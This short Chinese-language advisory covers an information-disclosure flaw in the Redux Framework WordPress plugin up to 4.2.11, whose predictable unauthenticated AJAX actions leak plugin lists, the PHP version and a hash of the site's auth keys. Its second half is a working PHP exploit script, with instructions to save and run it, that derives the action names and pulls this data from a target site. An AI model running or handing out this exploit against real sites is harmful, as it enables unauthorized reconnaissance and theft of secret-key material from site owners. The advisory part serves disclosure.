Gutenberg Template Library & Redux Framework 插件 <= 4.2.11 版为 WordPress 在 redux-core/class-redux-core.php 的 includes 函数中注册了多个未验证用户可用的 AJAX 操作,这些操作对特定站点是唯一的,但可确定且可预测,因为它们基于站点 URL 的 md5 哈希(带有已知盐值 '-redux')以及前一个哈希的 md5 哈希(带有已知盐值 '-support')。这些 AJAX 操作可用于检索活动插件及其版本列表、站点的 PHP 版本以及站点 AUTH_KEY 与 SECURE_AUTH_KEY 连接后的无盐 md5 哈希[1][2]
<?php
$target = "https://target.com";
$key1 = md5("$target/-redux");
$key2 = file_get_contents("$target/wp-admin/admin-ajax.php?action=$key1");
$key3 = md5($key2. '-support');
$redux_code = file_get_contents("http://verify.redux.io/?hash=$key3&site=$target/");
echo file_get_contents("$target/wp-admin/admin-ajax.php?action=$key3&code=$redux_code");
保存为带有 .php 扩展名的源代码文件
